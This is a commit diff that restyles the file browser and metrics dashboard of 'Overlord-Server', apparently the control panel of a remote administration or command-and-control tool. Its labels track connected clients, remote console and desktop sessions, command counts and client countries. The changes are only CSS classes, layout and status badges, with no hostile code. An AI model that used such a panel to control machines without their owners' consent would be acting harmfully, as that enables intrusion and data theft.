vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

improve file browser and metrics UI.

Browse Source
This commit is contained in:
KingKDot
2026-07-14 00:25:36 -05:00
parent a9bf923e7a
commit 172703c33b
4 changed files with 130 additions and 134 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/public/assets/filebrowser.js
+9 -6
View File
@@ -85,7 +85,7 @@ const editorCancelBtn = document.getElementById("editor-cancel-btn");
const editorCloseBtn = document.getElementById("editor-close-btn");
if (clientIdHeader) {
clientIdHeader.textContent = `${clientId} - File Browser`;
clientIdHeader.innerHTML = `<i class="fa-solid fa-computer mr-1.5 text-sky-400"></i>${escapeHtml(clientId)}`;
}
let sortField = localStorage.getItem("filebrowser.sortField") || "name";
@@ -141,10 +141,13 @@ function updateStatus(state, text) {
};
statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`;
statusEl.className =
state === "connected"
? "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60"
: "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300";
const stateClasses = {
connected: "bg-emerald-500/10 text-emerald-300 border-emerald-500/30",
error: "bg-red-500/10 text-red-300 border-red-500/30",
disconnected: "bg-slate-800 text-slate-300 border-slate-700",
connecting: "bg-sky-500/10 text-sky-300 border-sky-500/30",
};
statusEl.className = `inline-flex self-start sm:self-auto items-center gap-2 px-3 py-1.5 rounded-full border text-xs font-medium ${stateClasses[state] || stateClasses.disconnected}`;
}
function enableControls(enabled) {
@@ -1401,7 +1404,7 @@ function createFileRow(entry) {
row.innerHTML = `
<input type="checkbox" class="file-checkbox" data-path="${escapeHtml(entry.path)}">
<div class="col-span-6 flex items-center gap-2 truncate pl-3">
<div class="col-span-6 flex items-center gap-2 truncate pl-8">
${icon}
<span class="truncate">${escapeHtml(entry.name)}</span>
${pinBtn}
Overlord-Server/public/assets/metrics.js
+11 -5
View File
@@ -760,7 +760,7 @@ function updateMetrics(data, debug) {
.map((route) => {
const errorClass = route.errorsLastMinute > 0 ? "text-red-300" : "text-slate-400";
return `
<div class="bg-slate-800/50 rounded p-3 min-w-0">
<div class="bg-slate-950/40 border border-slate-800 rounded-lg p-3 min-w-0">
<div class="text-xs text-slate-400 mb-2 truncate" title="${escapeHtml(route.route)}">
${escapeHtml(route.route)}
</div>
@@ -790,7 +790,7 @@ function updateMetrics(data, debug) {
if (tasks.length > 0) {
internalTasksList.innerHTML = tasks
.map((task) => `
<div class="bg-slate-800/50 rounded p-3 min-w-0">
<div class="bg-slate-950/40 border border-slate-800 rounded-lg p-3 min-w-0">
<div class="text-xs text-slate-400 mb-2 truncate" title="${escapeHtml(task.task)}">
${escapeHtml(task.task)}
</div>
@@ -828,7 +828,7 @@ function updateMetrics(data, debug) {
? value ? "yes" : "no"
: Number(value || 0).toLocaleString();
return `
<div class="bg-slate-800/50 rounded p-3 min-w-0">
<div class="bg-slate-950/40 border border-slate-800 rounded-lg p-3 min-w-0">
<div class="text-xs text-slate-500 mb-1 truncate" title="${escapeHtml(key)}">
${escapeHtml(key)}
</div>
@@ -854,7 +854,7 @@ function updateMetrics(data, debug) {
commandTypesList.innerHTML = topCommands
.map(
([type, count]) => `
<div class="bg-slate-800/50 rounded p-3">
<div class="bg-slate-950/40 border border-slate-800 rounded-lg p-3">
<div class="text-xs text-slate-400 mb-1">${escapeHtml(type)}</div>
<div class="text-xl font-bold">${count.toLocaleString()}</div>
</div>
@@ -1831,10 +1831,16 @@ async function fetchMetrics() {
updateCharts(data.history, data.snapshot);
document.getElementById("status-text").textContent = "Live";
const status = document.getElementById("metrics-status");
status?.classList.remove("bg-red-500/10", "text-red-300", "border-red-500/30");
status?.classList.add("bg-emerald-500/10", "text-emerald-300", "border-emerald-500/30");
} catch (err) {
if (!metricsPageActive) return;
console.error("Error fetching metrics:", err);
document.getElementById("status-text").textContent = "Error";
document.getElementById("status-text").textContent = "Unavailable";
const status = document.getElementById("metrics-status");
status?.classList.remove("bg-emerald-500/10", "text-emerald-300", "border-emerald-500/30");
status?.classList.add("bg-red-500/10", "text-red-300", "border-red-500/30");
}
}
Overlord-Server/public/filebrowser.html
+56 -74
View File
@@ -9,7 +9,7 @@
<link rel="stylesheet" href="/vendor/inter/400.css" />
<link rel="stylesheet" href="/vendor/inter/600.css" />
<link rel="stylesheet" href="/vendor/inter/700.css" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/vendor/fontawesome/css/all.min.css" />
<link rel="stylesheet" href="/vendor/highlight.js/atom-one-dark.min.css" />
<link rel="stylesheet" href="/assets/main.css" />
@@ -18,30 +18,28 @@
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<style>
body {
font-family: "Inter", sans-serif;
}
.file-item:hover {
background-color: rgba(51, 65, 85, 0.5);
background-color: rgba(30, 41, 59, 0.62);
}
.file-item {
position: relative;
}
.file-item.selected {
background-color: rgba(59, 130, 246, 0.2);
border-color: rgba(59, 130, 246, 0.4);
background-color: rgba(14, 165, 233, 0.12);
box-shadow: inset 3px 0 0 rgb(56 189 248);
}
.file-checkbox {
appearance: none;
-webkit-appearance: none;
position: absolute;
left: 0;
top: 0;
width: 12px;
height: 100%;
border: none;
border-radius: 0;
left: 0.75rem;
top: 50%;
width: 16px;
height: 16px;
border: 1px solid rgb(71 85 105);
border-radius: 0.25rem;
background-color: rgba(100, 116, 139, 0.3);
transform: translateY(-50%);
cursor: pointer;
transition: all 0.2s ease;
z-index: 1;
@@ -51,6 +49,8 @@
}
.file-checkbox:checked {
background-color: #3b82f6;
border-color: #60a5fa;
box-shadow: inset 0 0 0 3px #0f172a;
}
.file-checkbox:checked:hover {
background-color: #2563eb;
@@ -90,23 +90,6 @@
/* Mobile responsive styles */
@media (max-width: 768px) {
header {
padding: 0.75rem;
}
header .flex {
flex-wrap: nowrap;
gap: 0.5rem;
}
header span,
header a {
font-size: 0.875rem;
}
#client-id-header {
display: none;
}
main {
padding: 1rem 0.5rem;
}
.file-header {
display: none !important;
}
@@ -456,12 +439,22 @@
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-4">
<div class="max-w-[1600px] mx-auto flex gap-4">
<main class="max-w-[1600px] w-full mx-auto px-4 sm:px-6 lg:px-8 py-8">
<div class="mb-6 flex flex-col sm:flex-row sm:items-end sm:justify-between gap-3">
<div>
<h1 class="text-2xl font-bold">File Browser</h1>
<p id="client-id-header" class="mt-1 text-sm text-slate-400 font-mono">Loading client...</p>
</div>
<span id="status-indicator" class="inline-flex self-start sm:self-auto items-center gap-2 px-3 py-1.5 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-xs font-medium">
<i class="fa-solid fa-circle-notch fa-spin"></i> Connecting...
</span>
</div>
<div class="flex gap-4">
<!-- Sidebar -->
<aside id="sidebar" class="w-52 flex-shrink-0 hidden lg:block">
<div class="sticky flex flex-col gap-3 sidebar-scroll" style="top: 5rem; max-height: calc(100vh - 6rem); overflow-y: auto;">
<div class="bg-slate-900/70 border border-slate-800 rounded-lg overflow-hidden">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl overflow-hidden">
<div class="px-3 py-2.5 border-b border-slate-700/50 flex items-center justify-between gap-2">
<div class="flex items-center gap-2">
<i class="fa-solid fa-star text-yellow-400 text-xs"></i>
@@ -480,7 +473,7 @@
<div class="text-xs text-slate-500 text-center py-3">No pinned paths.<br><span class="text-slate-600">Right-click any folder.</span></div>
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg overflow-hidden">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl overflow-hidden">
<div class="px-3 py-2.5 border-b border-slate-700/50 flex items-center gap-2">
<i class="fa-solid fa-bookmark text-blue-400 text-xs"></i>
<span class="text-xs font-semibold uppercase tracking-wider text-slate-400">Quick Access</span>
@@ -489,7 +482,7 @@
<div class="text-xs text-slate-500 text-center py-4">Connecting...</div>
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg overflow-hidden">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl overflow-hidden">
<div class="px-3 py-2.5 border-b border-slate-700/50 flex items-center gap-2">
<i class="fa-solid fa-hard-drive text-slate-400 text-xs"></i>
<span class="text-xs font-semibold uppercase tracking-wider text-slate-400">Drives</span>
@@ -502,51 +495,40 @@
</aside>
<!-- Main Content -->
<div class="flex-1 min-w-0 flex flex-col gap-4">
<!-- Status Bar -->
<div class="flex items-center justify-between gap-3 flex-wrap">
<div class="flex items-center gap-2 flex-wrap">
<span
id="status-indicator"
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300"
>
<i class="fa-solid fa-circle-notch fa-spin"></i> Connecting...
</span>
<span
id="client-id-header"
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-900/60 text-slate-200 border border-slate-800"
>
<i class="fa-solid fa-computer"></i>
<span>Loading client...</span>
</span>
<!-- Workspace actions -->
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 flex flex-col sm:flex-row sm:items-center sm:justify-between gap-3">
<div class="flex items-center gap-3">
<span class="inline-flex h-9 w-9 items-center justify-center rounded-lg bg-sky-500/10 border border-sky-500/20"><i class="fa-solid fa-folder-tree text-sky-400"></i></span>
<div><h2 class="text-sm font-semibold">Remote files</h2><p class="text-xs text-slate-500">Browse, transfer, and manage this client’s filesystem.</p></div>
</div>
<div class="flex items-center gap-2 flex-wrap">
<button
id="search-btn"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-700 hover:bg-slate-600 text-white"
class="flex-1 sm:flex-none inline-flex items-center justify-center gap-2 px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 border border-slate-700 text-slate-200 text-sm disabled:opacity-40"
disabled
>
<i class="fa-solid fa-search"></i> Search
</button>
<button
id="refresh-btn"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-blue-600 hover:bg-blue-700 text-white"
class="flex-1 sm:flex-none inline-flex items-center justify-center gap-2 px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 border border-slate-700 text-slate-200 text-sm disabled:opacity-40"
disabled
>
<i class="fa-solid fa-refresh"></i> Refresh
</button>
<button
id="upload-btn"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-green-600 hover:bg-green-700 text-white"
class="flex-1 sm:flex-none inline-flex items-center justify-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-500 border border-emerald-500 text-white text-sm font-medium disabled:opacity-40"
disabled
>
<i class="fa-solid fa-upload"></i> Upload File
<i class="fa-solid fa-upload"></i> Upload
</button>
<button
id="mkdir-btn"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-purple-600 hover:bg-purple-700 text-white"
class="flex-1 sm:flex-none inline-flex items-center justify-center gap-2 px-3 py-2 rounded-lg bg-violet-600 hover:bg-violet-500 border border-violet-500 text-white text-sm font-medium disabled:opacity-40"
disabled
>
<i class="fa-solid fa-folder-plus"></i> New Folder
<i class="fa-solid fa-folder-plus"></i> New folder
</button>
</div>
</div>
@@ -554,15 +536,15 @@
<!-- Search Bar (hidden by default) -->
<div
id="search-bar"
class="hidden px-4 py-3 bg-slate-900/70 border border-slate-800 rounded-lg"
class="hidden px-4 py-3 bg-slate-900/60 border border-slate-800 rounded-xl"
>
<div class="flex items-center gap-2">
<div class="flex items-center gap-2 flex-wrap sm:flex-nowrap">
<i class="fa-solid fa-search text-slate-400"></i>
<input
type="text"
id="search-input"
placeholder="Search files or content..."
class="flex-1 bg-transparent outline-none text-sm text-slate-100 placeholder:text-slate-500"
class="flex-1 min-w-48 bg-transparent outline-none text-sm text-slate-100 placeholder:text-slate-500"
/>
<label
class="inline-flex items-center gap-2 text-sm text-slate-300"
@@ -592,13 +574,13 @@
<!-- Bulk Actions Bar (hidden by default) -->
<div
id="bulk-actions-bar"
class="hidden bulk-actions-bar px-4 py-3 rounded-lg"
class="hidden bulk-actions-bar px-4 py-3 rounded-xl"
>
<div class="flex items-center justify-between">
<div class="flex items-center justify-between gap-3 flex-wrap">
<span class="text-sm font-medium"
><span id="selected-count">0</span> items selected</span
>
<div class="flex items-center gap-2">
<div class="flex items-center gap-2 flex-wrap">
<button
id="bulk-download-btn"
class="inline-flex items-center gap-2 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm"
@@ -635,7 +617,7 @@
<!-- Path Navigation Bar -->
<div
class="flex items-center gap-2 px-4 py-3 bg-slate-900/70 border border-slate-800 rounded-lg"
class="flex items-center gap-2 px-3 py-3 bg-slate-900/60 border border-slate-800 rounded-xl"
>
<button
id="back-btn"
@@ -652,7 +634,7 @@
<i class="fa-solid fa-home"></i>
</button>
<div
class="flex-1 flex items-center gap-2 px-3 py-2 bg-slate-950/50 border border-slate-700 rounded"
class="flex-1 flex items-center gap-2 px-3 py-2 bg-slate-950/60 border border-slate-700 rounded-lg focus-within:border-sky-500 focus-within:ring-2 focus-within:ring-sky-500/20"
>
<i class="fa-solid fa-folder-open text-yellow-400 text-sm"></i>
<input
@@ -673,7 +655,7 @@
<!-- Breadcrumb Navigation -->
<div
class="flex items-center gap-2 px-4 py-3 bg-slate-900/70 border border-slate-800 rounded-lg overflow-x-auto"
class="flex items-center gap-2 px-3 py-2 bg-slate-950/30 border border-slate-800 rounded-xl overflow-x-auto"
>
<i class="fa-solid fa-folder-open text-yellow-400"></i>
<div id="breadcrumb" class="flex items-center gap-1 text-sm"></div>
@@ -681,7 +663,7 @@
<!-- List Controls -->
<div
class="px-4 py-3 bg-slate-900/70 border border-slate-800 rounded-lg flex items-center justify-between gap-3 flex-wrap"
class="px-4 py-3 bg-slate-900/60 border border-slate-800 rounded-xl flex items-center justify-between gap-3 flex-wrap"
>
<div class="flex items-center gap-2 flex-wrap">
<label for="sort-field" class="text-xs uppercase tracking-wide text-slate-400"
@@ -689,7 +671,7 @@
>
<select
id="sort-field"
class="px-2 py-1 rounded bg-slate-800 border border-slate-700 text-sm text-slate-100"
class="px-3 py-1.5 rounded-lg bg-slate-950/60 border border-slate-700 text-sm text-slate-100"
>
<option value="name">Name</option>
<option value="size">Size</option>
@@ -698,7 +680,7 @@
</select>
<button
id="sort-order-btn"
class="px-3 py-1 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100"
class="px-3 py-1.5 rounded-lg bg-slate-800 hover:bg-slate-700 border border-slate-700 text-sm text-slate-100"
type="button"
>
Asc
@@ -709,7 +691,7 @@
>
<select
id="filter-type"
class="px-2 py-1 rounded bg-slate-800 border border-slate-700 text-sm text-slate-100"
class="px-3 py-1.5 rounded-lg bg-slate-950/60 border border-slate-700 text-sm text-slate-100"
>
<option value="all">All</option>
<option value="dirs">Folders</option>
@@ -729,10 +711,10 @@
<!-- File List -->
<div
id="file-list-panel"
class="bg-slate-900/70 border border-slate-800 rounded-lg overflow-hidden"
class="bg-slate-900/60 border border-slate-800 rounded-xl overflow-hidden min-h-72"
>
<div
class="file-header grid grid-cols-12 gap-3 px-4 py-3 bg-slate-800 border-b border-slate-700 text-xs font-semibold uppercase text-slate-400"
class="file-header grid grid-cols-12 gap-3 px-4 py-3 bg-slate-950/60 border-b border-slate-800 text-[11px] font-semibold uppercase tracking-wider text-slate-500"
>
<div class="col-span-6">Name</div>
<div class="col-span-2">Size</div>
@@ -747,7 +729,7 @@
<!-- Preview pane -->
<aside id="preview-pane-host" class="hidden lg:block">
<div id="preview-pane" class="bg-slate-900/70 border border-slate-800 rounded-lg empty">
<div id="preview-pane" class="bg-slate-900/60 border border-slate-800 rounded-xl empty">
<div class="px-3 py-2.5 border-b border-slate-700/50 flex items-center justify-between gap-2">
<div class="flex items-center gap-2 min-w-0">
<i class="fa-solid fa-eye text-blue-400 text-xs flex-shrink-0"></i>
@@ -983,7 +965,7 @@
<!-- Transfer Progress Panel -->
<div
id="transfer-panel"
class="hidden fixed bottom-4 right-4 w-96 max-w-full bg-slate-900 border border-slate-700 rounded-lg shadow-2xl overflow-hidden z-50"
class="hidden fixed bottom-4 right-4 w-96 max-w-[calc(100vw-2rem)] bg-slate-900 border border-slate-700 rounded-xl shadow-2xl overflow-hidden z-50"
>
<div
class="px-4 py-3 bg-slate-800 border-b border-slate-700 flex items-center justify-between"
Overlord-Server/public/metrics.html
+54 -49
View File
@@ -9,7 +9,7 @@
<link rel="stylesheet" href="/vendor/inter/400.css" />
<link rel="stylesheet" href="/vendor/inter/600.css" />
<link rel="stylesheet" href="/vendor/inter/700.css" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/assets/tailwind.css" />
<link rel="stylesheet" href="/vendor/fontawesome/css/all.min.css" />
<link rel="stylesheet" href="/vendor/flag-icons/css/flag-icons.min.css" />
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
@@ -82,62 +82,59 @@
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-7xl mx-auto flex flex-col gap-6">
<main class="max-w-7xl w-full mx-auto px-4 sm:px-6 lg:px-8 py-8">
<div class="flex flex-col gap-6">
<!-- Header -->
<div class="flex items-center justify-between gap-3 flex-wrap">
<div class="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-3">
<div>
<h1 class="text-2xl font-semibold">Metrics Dashboard</h1>
<p class="text-slate-400">
Real-time server statistics and performance
</p>
<h1 class="text-2xl font-bold">Metrics Dashboard</h1>
<p class="text-sm text-slate-400 mt-1">Live infrastructure health, traffic, and runtime performance.</p>
</div>
<div class="flex items-center gap-2">
<div class="flex items-center gap-2 text-xs">
<span
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60"
id="metrics-status"
class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full bg-emerald-500/10 text-emerald-300 border border-emerald-500/30 font-medium"
>
<i class="fa-solid fa-circle-check"></i>
<span class="relative flex h-2 w-2"><span class="absolute inline-flex h-full w-full animate-ping rounded-full bg-emerald-400 opacity-60"></span><span class="relative inline-flex h-2 w-2 rounded-full bg-emerald-400"></span></span>
<span id="status-text">Live</span>
</span>
<span class="text-sm text-slate-400"
>Updated: <span id="last-update">Never</span></span
>
<span class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full border border-slate-800 bg-slate-900/60 text-slate-400"><i class="fa-solid fa-clock-rotate-left text-slate-500"></i><span id="last-update">Never</span></span>
</div>
</div>
<!-- Key Metrics Cards -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4">
<!-- Clients Online -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="relative overflow-hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5">
<div class="flex items-center justify-between mb-2">
<span class="text-slate-400 text-sm">Clients Online</span>
<i class="fa-solid fa-desktop text-blue-400"></i>
<span class="text-slate-400 text-sm font-medium">Clients Online</span>
<span class="inline-flex h-9 w-9 items-center justify-center rounded-lg bg-sky-500/10 border border-sky-500/20"><i class="fa-solid fa-desktop text-sky-400"></i></span>
</div>
<div class="text-3xl font-bold" id="clients-online">0</div>
<div class="text-3xl font-bold tracking-tight" id="clients-online">0</div>
<div class="text-xs text-slate-500 mt-1">
<span id="clients-total">0</span> total
</div>
</div>
<!-- Active Sessions -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="relative overflow-hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5">
<div class="flex items-center justify-between mb-2">
<span class="text-slate-400 text-sm">Active Sessions</span>
<i class="fa-solid fa-plug text-green-400"></i>
<span class="text-slate-400 text-sm font-medium">Active Sessions</span>
<span class="inline-flex h-9 w-9 items-center justify-center rounded-lg bg-emerald-500/10 border border-emerald-500/20"><i class="fa-solid fa-plug text-emerald-400"></i></span>
</div>
<div class="text-3xl font-bold" id="active-sessions">0</div>
<div class="text-3xl font-bold tracking-tight" id="active-sessions">0</div>
<div class="text-xs text-slate-500 mt-1">
Console, RD, Files, Processes
</div>
</div>
<!-- Commands (Last Hour) -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="relative overflow-hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5">
<div class="flex items-center justify-between mb-2">
<span class="text-slate-400 text-sm">Commands/Hour</span>
<i class="fa-solid fa-terminal text-purple-400"></i>
<span class="text-slate-400 text-sm font-medium">Commands/Hour</span>
<span class="inline-flex h-9 w-9 items-center justify-center rounded-lg bg-violet-500/10 border border-violet-500/20"><i class="fa-solid fa-terminal text-violet-400"></i></span>
</div>
<div class="text-3xl font-bold" id="commands-hour">0</div>
<div class="text-3xl font-bold tracking-tight" id="commands-hour">0</div>
<div class="text-xs text-slate-500 mt-1">
<span id="commands-minute">0</span>/min •
<span id="commands-total">0</span> total
@@ -145,14 +142,12 @@
</div>
<!-- Bandwidth -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="relative overflow-hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5">
<div class="flex items-center justify-between mb-2">
<span class="text-slate-400 text-sm">Bandwidth</span>
<i
class="fa-solid fa-arrow-up-right-from-square text-orange-400"
></i>
<span class="text-slate-400 text-sm font-medium">Bandwidth</span>
<span class="inline-flex h-9 w-9 items-center justify-center rounded-lg bg-orange-500/10 border border-orange-500/20"><i class="fa-solid fa-arrow-right-arrow-left text-orange-400"></i></span>
</div>
<div class="text-3xl font-bold" id="bandwidth-rate">0 KB/s</div>
<div class="text-3xl font-bold tracking-tight" id="bandwidth-rate">0 KB/s</div>
<div class="text-xs text-slate-500 mt-1">
↑ <span id="bandwidth-sent">0 MB</span> • ↓
<span id="bandwidth-received">0 MB</span>
@@ -160,10 +155,15 @@
</div>
</div>
<div class="flex items-center gap-3 pt-1">
<div class="flex h-9 w-9 items-center justify-center rounded-lg bg-indigo-500/10 border border-indigo-500/20"><i class="fa-solid fa-chart-line text-indigo-400"></i></div>
<div><h2 class="font-semibold">Traffic and activity</h2><p class="text-xs text-slate-500">Live client and command volume.</p></div>
</div>
<!-- Charts Row -->
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4">
<!-- Clients Timeline -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-chart-area text-blue-400"></i>
Clients Over Time
@@ -174,7 +174,7 @@
</div>
<!-- Commands Timeline -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-chart-line text-purple-400"></i>
Commands Per Minute
@@ -185,9 +185,14 @@
</div>
</div>
<div class="flex items-center gap-3 pt-2">
<div class="flex h-9 w-9 items-center justify-center rounded-lg bg-rose-500/10 border border-rose-500/20"><i class="fa-solid fa-gauge-high text-rose-400"></i></div>
<div><h2 class="font-semibold">Operational pressure</h2><p class="text-xs text-slate-500">Throughput, latency, memory, and event-loop health.</p></div>
</div>
<!-- Operational Pressure Charts -->
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4">
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-network-wired text-orange-400"></i>
Network Throughput
@@ -197,7 +202,7 @@
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-arrow-right-arrow-left text-emerald-400"></i>
HTTP Requests
@@ -207,7 +212,7 @@
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-gauge-high text-rose-400"></i>
HTTP Latency
@@ -217,7 +222,7 @@
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-memory text-cyan-400"></i>
Runtime Memory
@@ -227,7 +232,7 @@
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-stopwatch text-amber-400"></i>
Event Loop Lag
@@ -239,7 +244,7 @@
</div>
<!-- Slow HTTP Routes -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<div class="flex items-center justify-between gap-3 flex-wrap mb-3">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-route text-rose-400"></i>
@@ -258,7 +263,7 @@
</div>
<!-- Slow Internal Jobs -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<div class="flex items-center justify-between gap-3 flex-wrap mb-3">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-gears text-cyan-400"></i>
@@ -277,7 +282,7 @@
</div>
<!-- Retained Runtime State -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<div class="flex items-center justify-between gap-3 flex-wrap mb-3">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-box-archive text-violet-400"></i>
@@ -297,7 +302,7 @@
<!-- Mix Charts -->
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4">
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-plug text-emerald-400"></i>
Session Mix
@@ -307,7 +312,7 @@
</div>
</div>
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
<i class="fa-brands fa-windows text-cyan-400"></i>
Operating Systems
@@ -321,7 +326,7 @@
<!-- Additional Stats -->
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
<!-- Server Stats -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-3 flex items-center gap-2">
<i class="fa-solid fa-server text-green-400"></i>
Server
@@ -355,7 +360,7 @@
</div>
<!-- Clients by OS -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-3 flex items-center gap-2">
<i class="fa-brands fa-windows text-cyan-400"></i>
Clients by OS
@@ -366,7 +371,7 @@
</div>
<!-- HTTP, Ping & Event Loop -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-3 flex items-center gap-2">
<i class="fa-solid fa-wave-square text-amber-400"></i>
HTTP, Ping & Event Loop
@@ -419,7 +424,7 @@
</div>
<!-- Country Globe -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<div class="flex items-center justify-between gap-3 flex-wrap mb-3">
<h3 class="text-lg font-semibold flex items-center gap-2">
<i class="fa-solid fa-globe text-emerald-400"></i>
@@ -461,7 +466,7 @@
</div>
<!-- Command Types Breakdown -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4">
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4 sm:p-5">
<h3 class="text-lg font-semibold mb-3 flex items-center gap-2">
<i class="fa-solid fa-list text-indigo-400"></i>
Command Types